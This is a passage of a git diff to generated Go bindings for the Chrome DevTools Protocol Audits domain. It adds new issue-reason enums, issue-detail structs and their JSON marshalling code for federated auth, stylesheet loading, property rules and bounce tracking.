*t = AttributionReportingIssueTypeTriggerIgnored
|
||||
case AttributionReportingIssueTypeOsSourceIgnored:
|
||||
*t = AttributionReportingIssueTypeOsSourceIgnored
|
||||
case AttributionReportingIssueTypeOsTriggerIgnored:
|
||||
*t = AttributionReportingIssueTypeOsTriggerIgnored
|
||||
case AttributionReportingIssueTypeInvalidRegisterOsSourceHeader:
|
||||
*t = AttributionReportingIssueTypeInvalidRegisterOsSourceHeader
|
||||
case AttributionReportingIssueTypeInvalidRegisterOsTriggerHeader:
|
||||
*t = AttributionReportingIssueTypeInvalidRegisterOsTriggerHeader
|
||||
case AttributionReportingIssueTypeWebAndOsHeaders:
|
||||
*t = AttributionReportingIssueTypeWebAndOsHeaders
|
||||
case AttributionReportingIssueTypeNoWebOrOsSupport:
|
||||
*t = AttributionReportingIssueTypeNoWebOrOsSupport
|
||||
case AttributionReportingIssueTypeNavigationRegistrationWithoutTransientUserActivation:
|
||||
*t = AttributionReportingIssueTypeNavigationRegistrationWithoutTransientUserActivation
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown AttributionReportingIssueType value: %v", v))
|
||||
@@ -899,14 +858,6 @@ type QuirksModeIssueDetails struct {
|
||||
LoaderID cdp.LoaderID `json:"loaderId"`
|
||||
}
|
||||
|
||||
// NavigatorUserAgentIssueDetails [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-NavigatorUserAgentIssueDetails
|
||||
type NavigatorUserAgentIssueDetails struct {
|
||||
URL string `json:"url"`
|
||||
Location *SourceCodeLocation `json:"location,omitempty"`
|
||||
}
|
||||
|
||||
// GenericIssueErrorType [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-GenericIssueErrorType
|
||||
@@ -929,6 +880,8 @@ const (
|
||||
GenericIssueErrorTypeFormInputAssignedAutocompleteValueToIDOrNameAttributeError GenericIssueErrorType = "FormInputAssignedAutocompleteValueToIdOrNameAttributeError"
|
||||
GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput GenericIssueErrorType = "FormLabelHasNeitherForNorNestedInput"
|
||||
GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError GenericIssueErrorType = "FormLabelForMatchesNonExistingIdError"
|
||||
GenericIssueErrorTypeFormInputHasWrongButWellIntendedAutocompleteValueError GenericIssueErrorType = "FormInputHasWrongButWellIntendedAutocompleteValueError"
|
||||
GenericIssueErrorTypeResponseWasBlockedByORB GenericIssueErrorType = "ResponseWasBlockedByORB"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -965,6 +918,10 @@ func (t *GenericIssueErrorType) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = GenericIssueErrorTypeFormLabelHasNeitherForNorNestedInput
|
||||
case GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError:
|
||||
*t = GenericIssueErrorTypeFormLabelForMatchesNonExistingIDError
|
||||
case GenericIssueErrorTypeFormInputHasWrongButWellIntendedAutocompleteValueError:
|
||||
*t = GenericIssueErrorTypeFormInputHasWrongButWellIntendedAutocompleteValueError
|
||||
case GenericIssueErrorTypeResponseWasBlockedByORB:
|
||||
*t = GenericIssueErrorTypeResponseWasBlockedByORB
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown GenericIssueErrorType value: %v", v))
|
||||
@@ -981,9 +938,11 @@ func (t *GenericIssueErrorType) UnmarshalJSON(buf []byte) error {
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-GenericIssueDetails
|
||||
type GenericIssueDetails struct {
|
||||
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"`
|
||||
ViolatingNodeID cdp.BackendNodeID `json:"violatingNodeId,omitempty"`
|
||||
ErrorType GenericIssueErrorType `json:"errorType"` // Issues with the same errorType are aggregated in the frontend.
|
||||
FrameID cdp.FrameID `json:"frameId,omitempty"`
|
||||
ViolatingNodeID cdp.BackendNodeID `json:"violatingNodeId,omitempty"`
|
||||
ViolatingNodeAttribute string `json:"violatingNodeAttribute,omitempty"`
|
||||
Request *AffectedRequest `json:"request,omitempty"`
|
||||
}
|
||||
|
||||
// DeprecationIssueDetails this issue tracks information needed to print a
|
||||
@@ -997,6 +956,18 @@ type DeprecationIssueDetails struct {
|
||||
Type string `json:"type"` // One of the deprecation names from third_party/blink/renderer/core/frame/deprecation/deprecation.json5
|
||||
}
|
||||
|
||||
// BounceTrackingIssueDetails this issue warns about sites in the redirect
|
||||
// chain of a finished navigation that may be flagged as trackers and have their
|
||||
// state cleared if they don't receive a user interaction. Note that in this
|
||||
// context 'site' means eTLD+1. For example, if the URL
|
||||
// https://example.test:80/bounce was in the redirect chain, the site reported
|
||||
// would be example.test.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-BounceTrackingIssueDetails
|
||||
type BounceTrackingIssueDetails struct {
|
||||
TrackingSites []string `json:"trackingSites"`
|
||||
}
|
||||
|
||||
// ClientHintIssueReason [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-ClientHintIssueReason
|
||||
@@ -1065,34 +1036,42 @@ func (t FederatedAuthRequestIssueReason) String() string {
|
||||
|
||||
// FederatedAuthRequestIssueReason values.
|
||||
const (
|
||||
FederatedAuthRequestIssueReasonShouldEmbargo FederatedAuthRequestIssueReason = "ShouldEmbargo"
|
||||
FederatedAuthRequestIssueReasonTooManyRequests FederatedAuthRequestIssueReason = "TooManyRequests"
|
||||
FederatedAuthRequestIssueReasonWellKnownHTTPNotFound FederatedAuthRequestIssueReason = "WellKnownHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonWellKnownNoResponse FederatedAuthRequestIssueReason = "WellKnownNoResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownInvalidResponse FederatedAuthRequestIssueReason = "WellKnownInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownListEmpty FederatedAuthRequestIssueReason = "WellKnownListEmpty"
|
||||
FederatedAuthRequestIssueReasonConfigNotInWellKnown FederatedAuthRequestIssueReason = "ConfigNotInWellKnown"
|
||||
FederatedAuthRequestIssueReasonWellKnownTooBig FederatedAuthRequestIssueReason = "WellKnownTooBig"
|
||||
FederatedAuthRequestIssueReasonConfigHTTPNotFound FederatedAuthRequestIssueReason = "ConfigHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonConfigNoResponse FederatedAuthRequestIssueReason = "ConfigNoResponse"
|
||||
FederatedAuthRequestIssueReasonConfigInvalidResponse FederatedAuthRequestIssueReason = "ConfigInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound FederatedAuthRequestIssueReason = "ClientMetadataHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonClientMetadataNoResponse FederatedAuthRequestIssueReason = "ClientMetadataNoResponse"
|
||||
FederatedAuthRequestIssueReasonClientMetadataInvalidResponse FederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonDisabledInSettings FederatedAuthRequestIssueReason = "DisabledInSettings"
|
||||
FederatedAuthRequestIssueReasonErrorFetchingSignin FederatedAuthRequestIssueReason = "ErrorFetchingSignin"
|
||||
FederatedAuthRequestIssueReasonInvalidSigninResponse FederatedAuthRequestIssueReason = "InvalidSigninResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsHTTPNotFound FederatedAuthRequestIssueReason = "AccountsHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonAccountsNoResponse FederatedAuthRequestIssueReason = "AccountsNoResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsInvalidResponse FederatedAuthRequestIssueReason = "AccountsInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsListEmpty FederatedAuthRequestIssueReason = "AccountsListEmpty"
|
||||
FederatedAuthRequestIssueReasonIDTokenHTTPNotFound FederatedAuthRequestIssueReason = "IdTokenHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonIDTokenNoResponse FederatedAuthRequestIssueReason = "IdTokenNoResponse"
|
||||
FederatedAuthRequestIssueReasonIDTokenInvalidResponse FederatedAuthRequestIssueReason = "IdTokenInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonIDTokenInvalidRequest FederatedAuthRequestIssueReason = "IdTokenInvalidRequest"
|
||||
FederatedAuthRequestIssueReasonErrorIDToken FederatedAuthRequestIssueReason = "ErrorIdToken"
|
||||
FederatedAuthRequestIssueReasonCanceled FederatedAuthRequestIssueReason = "Canceled"
|
||||
FederatedAuthRequestIssueReasonRpPageNotVisible FederatedAuthRequestIssueReason = "RpPageNotVisible"
|
||||
FederatedAuthRequestIssueReasonShouldEmbargo FederatedAuthRequestIssueReason = "ShouldEmbargo"
|
||||
FederatedAuthRequestIssueReasonTooManyRequests FederatedAuthRequestIssueReason = "TooManyRequests"
|
||||
FederatedAuthRequestIssueReasonWellKnownHTTPNotFound FederatedAuthRequestIssueReason = "WellKnownHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonWellKnownNoResponse FederatedAuthRequestIssueReason = "WellKnownNoResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownInvalidResponse FederatedAuthRequestIssueReason = "WellKnownInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonWellKnownListEmpty FederatedAuthRequestIssueReason = "WellKnownListEmpty"
|
||||
FederatedAuthRequestIssueReasonWellKnownInvalidContentType FederatedAuthRequestIssueReason = "WellKnownInvalidContentType"
|
||||
FederatedAuthRequestIssueReasonConfigNotInWellKnown FederatedAuthRequestIssueReason = "ConfigNotInWellKnown"
|
||||
FederatedAuthRequestIssueReasonWellKnownTooBig FederatedAuthRequestIssueReason = "WellKnownTooBig"
|
||||
FederatedAuthRequestIssueReasonConfigHTTPNotFound FederatedAuthRequestIssueReason = "ConfigHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonConfigNoResponse FederatedAuthRequestIssueReason = "ConfigNoResponse"
|
||||
FederatedAuthRequestIssueReasonConfigInvalidResponse FederatedAuthRequestIssueReason = "ConfigInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonConfigInvalidContentType FederatedAuthRequestIssueReason = "ConfigInvalidContentType"
|
||||
FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound FederatedAuthRequestIssueReason = "ClientMetadataHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonClientMetadataNoResponse FederatedAuthRequestIssueReason = "ClientMetadataNoResponse"
|
||||
FederatedAuthRequestIssueReasonClientMetadataInvalidResponse FederatedAuthRequestIssueReason = "ClientMetadataInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonClientMetadataInvalidContentType FederatedAuthRequestIssueReason = "ClientMetadataInvalidContentType"
|
||||
FederatedAuthRequestIssueReasonDisabledInSettings FederatedAuthRequestIssueReason = "DisabledInSettings"
|
||||
FederatedAuthRequestIssueReasonErrorFetchingSignin FederatedAuthRequestIssueReason = "ErrorFetchingSignin"
|
||||
FederatedAuthRequestIssueReasonInvalidSigninResponse FederatedAuthRequestIssueReason = "InvalidSigninResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsHTTPNotFound FederatedAuthRequestIssueReason = "AccountsHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonAccountsNoResponse FederatedAuthRequestIssueReason = "AccountsNoResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsInvalidResponse FederatedAuthRequestIssueReason = "AccountsInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonAccountsListEmpty FederatedAuthRequestIssueReason = "AccountsListEmpty"
|
||||
FederatedAuthRequestIssueReasonAccountsInvalidContentType FederatedAuthRequestIssueReason = "AccountsInvalidContentType"
|
||||
FederatedAuthRequestIssueReasonIDTokenHTTPNotFound FederatedAuthRequestIssueReason = "IdTokenHttpNotFound"
|
||||
FederatedAuthRequestIssueReasonIDTokenNoResponse FederatedAuthRequestIssueReason = "IdTokenNoResponse"
|
||||
FederatedAuthRequestIssueReasonIDTokenInvalidResponse FederatedAuthRequestIssueReason = "IdTokenInvalidResponse"
|
||||
FederatedAuthRequestIssueReasonIDTokenInvalidRequest FederatedAuthRequestIssueReason = "IdTokenInvalidRequest"
|
||||
FederatedAuthRequestIssueReasonIDTokenInvalidContentType FederatedAuthRequestIssueReason = "IdTokenInvalidContentType"
|
||||
FederatedAuthRequestIssueReasonErrorIDToken FederatedAuthRequestIssueReason = "ErrorIdToken"
|
||||
FederatedAuthRequestIssueReasonCanceled FederatedAuthRequestIssueReason = "Canceled"
|
||||
FederatedAuthRequestIssueReasonRpPageNotVisible FederatedAuthRequestIssueReason = "RpPageNotVisible"
|
||||
FederatedAuthRequestIssueReasonSilentMediationFailure FederatedAuthRequestIssueReason = "SilentMediationFailure"
|
||||
FederatedAuthRequestIssueReasonThirdPartyCookiesBlocked FederatedAuthRequestIssueReason = "ThirdPartyCookiesBlocked"
|
||||
FederatedAuthRequestIssueReasonNotSignedInWithIdp FederatedAuthRequestIssueReason = "NotSignedInWithIdp"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
@@ -1121,6 +1100,8 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonWellKnownListEmpty:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownListEmpty
|
||||
case FederatedAuthRequestIssueReasonWellKnownInvalidContentType:
|
||||
*t = FederatedAuthRequestIssueReasonWellKnownInvalidContentType
|
||||
case FederatedAuthRequestIssueReasonConfigNotInWellKnown:
|
||||
*t = FederatedAuthRequestIssueReasonConfigNotInWellKnown
|
||||
case FederatedAuthRequestIssueReasonWellKnownTooBig:
|
||||
@@ -1131,12 +1112,16 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonConfigNoResponse
|
||||
case FederatedAuthRequestIssueReasonConfigInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonConfigInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonConfigInvalidContentType:
|
||||
*t = FederatedAuthRequestIssueReasonConfigInvalidContentType
|
||||
case FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonClientMetadataHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonClientMetadataNoResponse:
|
||||
*t = FederatedAuthRequestIssueReasonClientMetadataNoResponse
|
||||
case FederatedAuthRequestIssueReasonClientMetadataInvalidResponse:
|
||||
*t = FederatedAuthRequestIssueReasonClientMetadataInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonClientMetadataInvalidContentType:
|
||||
*t = FederatedAuthRequestIssueReasonClientMetadataInvalidContentType
|
||||
case FederatedAuthRequestIssueReasonDisabledInSettings:
|
||||
*t = FederatedAuthRequestIssueReasonDisabledInSettings
|
||||
case FederatedAuthRequestIssueReasonErrorFetchingSignin:
|
||||
@@ -1151,6 +1136,8 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonAccountsInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonAccountsListEmpty:
|
||||
*t = FederatedAuthRequestIssueReasonAccountsListEmpty
|
||||
case FederatedAuthRequestIssueReasonAccountsInvalidContentType:
|
||||
*t = FederatedAuthRequestIssueReasonAccountsInvalidContentType
|
||||
case FederatedAuthRequestIssueReasonIDTokenHTTPNotFound:
|
||||
*t = FederatedAuthRequestIssueReasonIDTokenHTTPNotFound
|
||||
case FederatedAuthRequestIssueReasonIDTokenNoResponse:
|
||||
@@ -1159,12 +1146,20 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
*t = FederatedAuthRequestIssueReasonIDTokenInvalidResponse
|
||||
case FederatedAuthRequestIssueReasonIDTokenInvalidRequest:
|
||||
*t = FederatedAuthRequestIssueReasonIDTokenInvalidRequest
|
||||
case FederatedAuthRequestIssueReasonIDTokenInvalidContentType:
|
||||
*t = FederatedAuthRequestIssueReasonIDTokenInvalidContentType
|
||||
case FederatedAuthRequestIssueReasonErrorIDToken:
|
||||
*t = FederatedAuthRequestIssueReasonErrorIDToken
|
||||
case FederatedAuthRequestIssueReasonCanceled:
|
||||
*t = FederatedAuthRequestIssueReasonCanceled
|
||||
case FederatedAuthRequestIssueReasonRpPageNotVisible:
|
||||
*t = FederatedAuthRequestIssueReasonRpPageNotVisible
|
||||
case FederatedAuthRequestIssueReasonSilentMediationFailure:
|
||||
*t = FederatedAuthRequestIssueReasonSilentMediationFailure
|
||||
case FederatedAuthRequestIssueReasonThirdPartyCookiesBlocked:
|
||||
*t = FederatedAuthRequestIssueReasonThirdPartyCookiesBlocked
|
||||
case FederatedAuthRequestIssueReasonNotSignedInWithIdp:
|
||||
*t = FederatedAuthRequestIssueReasonNotSignedInWithIdp
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown FederatedAuthRequestIssueReason value: %v", v))
|
||||
@@ -1176,6 +1171,82 @@ func (t *FederatedAuthRequestIssueReason) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// FederatedAuthUserInfoRequestIssueDetails [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-FederatedAuthUserInfoRequestIssueDetails
|
||||
type FederatedAuthUserInfoRequestIssueDetails struct {
|
||||
FederatedAuthUserInfoRequestIssueReason FederatedAuthUserInfoRequestIssueReason `json:"federatedAuthUserInfoRequestIssueReason"`
|
||||
}
|
||||
|
||||
// FederatedAuthUserInfoRequestIssueReason represents the failure reason when
|
||||
// a getUserInfo() call fails. Should be updated alongside
|
||||
// FederatedAuthUserInfoRequestResult in
|
||||
// third_party/blink/public/mojom/devtools/inspector_issue.mojom.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-FederatedAuthUserInfoRequestIssueReason
|
||||
type FederatedAuthUserInfoRequestIssueReason string
|
||||
|
||||
// String returns the FederatedAuthUserInfoRequestIssueReason as string value.
|
||||
func (t FederatedAuthUserInfoRequestIssueReason) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// FederatedAuthUserInfoRequestIssueReason values.
|
||||
const (
|
||||
FederatedAuthUserInfoRequestIssueReasonNotSameOrigin FederatedAuthUserInfoRequestIssueReason = "NotSameOrigin"
|
||||
FederatedAuthUserInfoRequestIssueReasonNotIframe FederatedAuthUserInfoRequestIssueReason = "NotIframe"
|
||||
FederatedAuthUserInfoRequestIssueReasonNotPotentiallyTrustworthy FederatedAuthUserInfoRequestIssueReason = "NotPotentiallyTrustworthy"
|
||||
FederatedAuthUserInfoRequestIssueReasonNoAPIPermission FederatedAuthUserInfoRequestIssueReason = "NoApiPermission"
|
||||
FederatedAuthUserInfoRequestIssueReasonNotSignedInWithIdp FederatedAuthUserInfoRequestIssueReason = "NotSignedInWithIdp"
|
||||
FederatedAuthUserInfoRequestIssueReasonNoAccountSharingPermission FederatedAuthUserInfoRequestIssueReason = "NoAccountSharingPermission"
|
||||
FederatedAuthUserInfoRequestIssueReasonInvalidConfigOrWellKnown FederatedAuthUserInfoRequestIssueReason = "InvalidConfigOrWellKnown"
|
||||
FederatedAuthUserInfoRequestIssueReasonInvalidAccountsResponse FederatedAuthUserInfoRequestIssueReason = "InvalidAccountsResponse"
|
||||
FederatedAuthUserInfoRequestIssueReasonNoReturningUserFromFetchedAccounts FederatedAuthUserInfoRequestIssueReason = "NoReturningUserFromFetchedAccounts"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t FederatedAuthUserInfoRequestIssueReason) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t FederatedAuthUserInfoRequestIssueReason) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *FederatedAuthUserInfoRequestIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch FederatedAuthUserInfoRequestIssueReason(v) {
|
||||
case FederatedAuthUserInfoRequestIssueReasonNotSameOrigin:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonNotSameOrigin
|
||||
case FederatedAuthUserInfoRequestIssueReasonNotIframe:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonNotIframe
|
||||
case FederatedAuthUserInfoRequestIssueReasonNotPotentiallyTrustworthy:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonNotPotentiallyTrustworthy
|
||||
case FederatedAuthUserInfoRequestIssueReasonNoAPIPermission:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonNoAPIPermission
|
||||
case FederatedAuthUserInfoRequestIssueReasonNotSignedInWithIdp:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonNotSignedInWithIdp
|
||||
case FederatedAuthUserInfoRequestIssueReasonNoAccountSharingPermission:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonNoAccountSharingPermission
|
||||
case FederatedAuthUserInfoRequestIssueReasonInvalidConfigOrWellKnown:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonInvalidConfigOrWellKnown
|
||||
case FederatedAuthUserInfoRequestIssueReasonInvalidAccountsResponse:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonInvalidAccountsResponse
|
||||
case FederatedAuthUserInfoRequestIssueReasonNoReturningUserFromFetchedAccounts:
|
||||
*t = FederatedAuthUserInfoRequestIssueReasonNoReturningUserFromFetchedAccounts
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown FederatedAuthUserInfoRequestIssueReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *FederatedAuthUserInfoRequestIssueReason) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// ClientHintIssueDetails this issue tracks client hints related issues. It's
|
||||
// used to deprecate old features, encourage the use of new ones, and provide
|
||||
// general guidance.
|
||||
@@ -1186,6 +1257,131 @@ type ClientHintIssueDetails struct {
|
||||
ClientHintIssueReason ClientHintIssueReason `json:"clientHintIssueReason"`
|
||||
}
|
||||
|
||||
// FailedRequestInfo [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-FailedRequestInfo
|
||||
type FailedRequestInfo struct {
|
||||
URL string `json:"url"` // The URL that failed to load.
|
||||
FailureMessage string `json:"failureMessage"` // The failure message for the failed request.
|
||||
RequestID network.RequestID `json:"requestId,omitempty"`
|
||||
}
|
||||
|
||||
// StyleSheetLoadingIssueReason [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-StyleSheetLoadingIssueReason
|
||||
type StyleSheetLoadingIssueReason string
|
||||
|
||||
// String returns the StyleSheetLoadingIssueReason as string value.
|
||||
func (t StyleSheetLoadingIssueReason) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// StyleSheetLoadingIssueReason values.
|
||||
const (
|
||||
StyleSheetLoadingIssueReasonLateImportRule StyleSheetLoadingIssueReason = "LateImportRule"
|
||||
StyleSheetLoadingIssueReasonRequestFailed StyleSheetLoadingIssueReason = "RequestFailed"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t StyleSheetLoadingIssueReason) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t StyleSheetLoadingIssueReason) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *StyleSheetLoadingIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch StyleSheetLoadingIssueReason(v) {
|
||||
case StyleSheetLoadingIssueReasonLateImportRule:
|
||||
*t = StyleSheetLoadingIssueReasonLateImportRule
|
||||
case StyleSheetLoadingIssueReasonRequestFailed:
|
||||
*t = StyleSheetLoadingIssueReasonRequestFailed
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown StyleSheetLoadingIssueReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *StyleSheetLoadingIssueReason) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// StylesheetLoadingIssueDetails this issue warns when a referenced
|
||||
// stylesheet couldn't be loaded.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-StylesheetLoadingIssueDetails
|
||||
type StylesheetLoadingIssueDetails struct {
|
||||
SourceCodeLocation *SourceCodeLocation `json:"sourceCodeLocation"` // Source code position that referenced the failing stylesheet.
|
||||
StyleSheetLoadingIssueReason StyleSheetLoadingIssueReason `json:"styleSheetLoadingIssueReason"` // Reason why the stylesheet couldn't be loaded.
|
||||
FailedRequestInfo *FailedRequestInfo `json:"failedRequestInfo,omitempty"` // Contains additional info when the failure was due to a request.
|
||||
}
|
||||
|
||||
// PropertyRuleIssueReason [no description].
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-PropertyRuleIssueReason
|
||||
type PropertyRuleIssueReason string
|
||||
|
||||
// String returns the PropertyRuleIssueReason as string value.
|
||||
func (t PropertyRuleIssueReason) String() string {
|
||||
return string(t)
|
||||
}
|
||||
|
||||
// PropertyRuleIssueReason values.
|
||||
const (
|
||||
PropertyRuleIssueReasonInvalidSyntax PropertyRuleIssueReason = "InvalidSyntax"
|
||||
PropertyRuleIssueReasonInvalidInitialValue PropertyRuleIssueReason = "InvalidInitialValue"
|
||||
PropertyRuleIssueReasonInvalidInherits PropertyRuleIssueReason = "InvalidInherits"
|
||||
PropertyRuleIssueReasonInvalidName PropertyRuleIssueReason = "InvalidName"
|
||||
)
|
||||
|
||||
// MarshalEasyJSON satisfies easyjson.Marshaler.
|
||||
func (t PropertyRuleIssueReason) MarshalEasyJSON(out *jwriter.Writer) {
|
||||
out.String(string(t))
|
||||
}
|
||||
|
||||
// MarshalJSON satisfies json.Marshaler.
|
||||
func (t PropertyRuleIssueReason) MarshalJSON() ([]byte, error) {
|
||||
return easyjson.Marshal(t)
|
||||
}
|
||||
|
||||
// UnmarshalEasyJSON satisfies easyjson.Unmarshaler.
|
||||
func (t *PropertyRuleIssueReason) UnmarshalEasyJSON(in *jlexer.Lexer) {
|
||||
v := in.String()
|
||||
switch PropertyRuleIssueReason(v) {
|
||||
case PropertyRuleIssueReasonInvalidSyntax:
|
||||
*t = PropertyRuleIssueReasonInvalidSyntax
|
||||
case PropertyRuleIssueReasonInvalidInitialValue:
|
||||
*t = PropertyRuleIssueReasonInvalidInitialValue
|
||||
case PropertyRuleIssueReasonInvalidInherits:
|
||||
*t = PropertyRuleIssueReasonInvalidInherits
|
||||
case PropertyRuleIssueReasonInvalidName:
|
||||
*t = PropertyRuleIssueReasonInvalidName
|
||||
|
||||
default:
|
||||
in.AddError(fmt.Errorf("unknown PropertyRuleIssueReason value: %v", v))
|
||||
}
|
||||
}
|
||||
|
||||
// UnmarshalJSON satisfies json.Unmarshaler.
|
||||
func (t *PropertyRuleIssueReason) UnmarshalJSON(buf []byte) error {
|
||||
return easyjson.Unmarshal(buf, t)
|
||||
}
|
||||
|
||||
// PropertyRuleIssueDetails this issue warns about errors in property rules
|
||||
// that lead to property registrations being ignored.
|
||||
//
|
||||
// See: https://chromedevtools.github.io/devtools-protocol/tot/Audits#type-PropertyRuleIssueDetails
|
||||
type PropertyRuleIssueDetails struct {
|
||||
SourceCodeLocation *SourceCodeLocation `json:"sourceCodeLocation"` // Source code position of the property rule.
|
||||
PropertyRuleIssueReason PropertyRuleIssueReason `json:"propertyRuleIssueReason"` // Reason why the property rule was discarded.
|
||||
PropertyValue string `json:"propertyValue,omitempty"` // The value of the property rule property that failed to parse
|
||||
}
|
||||
|
||||
// InspectorIssueCode a unique identifier for the type of issue. Each type
|
||||
// may use one of the optional fields in InspectorIssueDetails to convey more
|
||||
// specific information about the kind of issue.
|
||||
@@ -1200,22 +1396,25 @@ func (t InspectorIssueCode) String() string {
|
||||
|
||||
// InspectorIssueCode values.
|
||||
const (
|
||||
InspectorIssueCodeCookieIssue InspectorIssueCode = "CookieIssue"
|
||||
InspectorIssueCodeMixedContentIssue InspectorIssueCode = "MixedContentIssue"
|
||||
InspectorIssueCodeBlockedByResponseIssue InspectorIssueCode = "BlockedByResponseIssue"
|
||||
InspectorIssueCodeHeavyAdIssue InspectorIssueCode = "HeavyAdIssue"
|
||||
InspectorIssueCodeContentSecurityPolicyIssue InspectorIssueCode = "ContentSecurityPolicyIssue"
|
||||
InspectorIssueCodeSharedArrayBufferIssue InspectorIssueCode = "SharedArrayBufferIssue"
|
||||
InspectorIssueCodeTrustedWebActivityIssue InspectorIssueCode = "TrustedWebActivityIssue"
|
||||
